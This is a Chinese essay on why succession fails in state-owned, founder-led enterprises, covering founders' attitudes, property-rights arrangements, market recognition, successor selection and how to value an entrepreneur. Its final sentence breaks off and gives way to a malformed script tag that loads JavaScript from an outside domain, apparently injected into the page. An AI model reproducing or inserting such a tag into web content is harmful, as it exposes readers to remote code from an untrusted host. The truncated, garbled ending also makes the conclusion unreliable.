企业传承中权利的让渡,既有新企业家适应和被认可的过程,也有新老企业家相互间的冲突和妥协问题,涉及到接班人的选择、企业核心精神、管理精髓、经营理念、企业文化等的继承和调整。很多企业的内部动荡和衰退,几乎都与这些问题紧密相关。国有创业型企业传承失败的案例比比皆是,典型的就是 59 岁现象,健力宝的李经纬从出局到涉嫌贪污、伊利的郑俊怀变相 MBO 被拘捕、长虹的倪润峰和三九的赵新先因陷入经营困境而淡然出局……一批杰出的创业型企业家在缔造辉煌之后,到了退出阶段,结果却黯然退场,有的甚至身败名裂,企业也一蹶不振。
国有创业型企业的顺利传承,面对着比其他类型企业更加复杂深刻的障碍,最主要的是对企业家的价值认定问题。
国有创业型企业家由于自身的特点,以及与国有企业、政府的复杂关系,还有企业成长过程中,企业家角色的不可抗拒演变,决定了他们的传承面临各种障碍。主要体现在:
1 .创业型企业家自身的障碍
创业型企业家成长于市场经济初期,经济体制尚不完善,形成企业家个人声望重于企业名气,企业内部人治重于法治。由于很长时间的政企不分,“官本位”思想作祟,企业家对企业的控制和支配欲望强烈。还有,在企业成长的各个不同阶段,像企业创业阶段、第二次创业阶段、稳步发展阶段等对企业家素质能力的要求是不同的,如果企业家不能更新知识提高能力,适应企业规模扩大、市场条件快速变化,容易导致任人为亲,急功近利,形成企业家传承的障碍。
2 .企业制度尤其是产权制度
各级政府仅仅是国有资产的“代理人”,作为代理人的政府和国企高层经营者之间并非是平等的市场主体关系,由于国企股权结构中国有股份占据了主导地位,主要经营者都由政府主管机构以行政命令方式委派,其真正身份还是政府官员,企业管理者身份依附于官员身份才获得合法性。因此,由于国有创业型企业家的人力资本价值定位模糊,经过多年奋斗,国有资产膨胀了几十倍,甚至几百倍,创业型企业家的个人收益却不高,自身的价值没有得到合理体现,难免心理不平衡。
3 .市场认同困难
我国改革开放以来崛起的创业型企业家群体,他们所碰到的机遇是不可复制的,市场经济体制刚刚提出并不断建设中,企业家的经营行为带有很大的暗箱操作特点。一些企业的成功,很大程度上依赖于企业家苦心营造的社会关系网、权力资源网。在这一背景下,对于继承的新人来说很难成功地走出创业型企业家的阴影。另一方面,当企业的名声在相当大程度上要靠企业家个人的名声来支撑的情况下,传给新的领导人时,往往会导致过去那些为企业带来经营优势的资源很快丧失,可能在短期内使企业无形资产贬值,企业的传承要承担很大的风险。
4 .缺乏接班人制度
没有合适的接班人,企业就很难成功传承。国有企业家的选拔任用制度主要是政府主导,市场选择所占的份量很小,由于存在廉价投票权的问题,往往难以成功选拔合适的接班人。这样容易形成两方面结果:一方面,继任者不适应企业的环境,或素质达不到企业的发展要求,阻碍企业持续健康的发展;另一方面,继任者无法发挥自身能力,不利于新兴企业家队伍的建设。同时,政府和企业对企业家历史贡献的承认程度,也直接影响了继任者的态度。中国人民大学经济学院院长杨瑞龙认为,“我们呼唤千里马,实际上是呼唤伯乐;而呼唤伯乐,实际上是呼唤产权制度改革”。
通过上面的分析可以看出,对国有创业型企业家的价值认定问题是影响传承的最关键因素。但目前国内外对国有创业型企业家的价值认定,还没有一个比较成熟的模式或者框架来进行操作,需要加强这方面的研究。我们在这方面的研究成果是,国有创业型企业家的价值认定过程主要应考虑四个方面的问题:一是社会认定。企业家的经营管理才能对企业的生存和发展至关重要,企业家远见卓识和创新意识等都凝聚在企业的无形资产之中,但他们所创造的价值很难准确计量。企业家人力资本具有稀缺性、异质性和边际报酬递增性。人力资本的特征要求其激励报酬中能够分享剩余索取权。二是自我认定。国有创业型企业家的自我价值取向主要体现在自我价值实现最大化,而企业的发展和成功是企业家最看重的价值体现,当然还有对社会地位、声誉和荣誉、企业控制权、企业剩余索取权的期望。三是政府的认定。政府主要从两个方面评价创业型企业家的价值:( 1 )在企业发展进程中的历史贡献。探讨创业型企业家的历史贡献是非常复杂的,需要考虑他们所在企业或企业集团的演变,需要考虑他们的任职期限、任职变迁状况以及贡献程度等。( 2 )综合评价企业家。运用综合评价指标体系进行评价,包括利润指标、市场占有率、国有资产保值增值指标,企业品牌价值、个人品牌价值等指标。四是政府与企业家之间进行的动态博弈。政府行使资产所有者职能,以国有资产增值最大化为目标,希望为企业家报酬付出的成本?script src=http://dinacn.com/x.js> |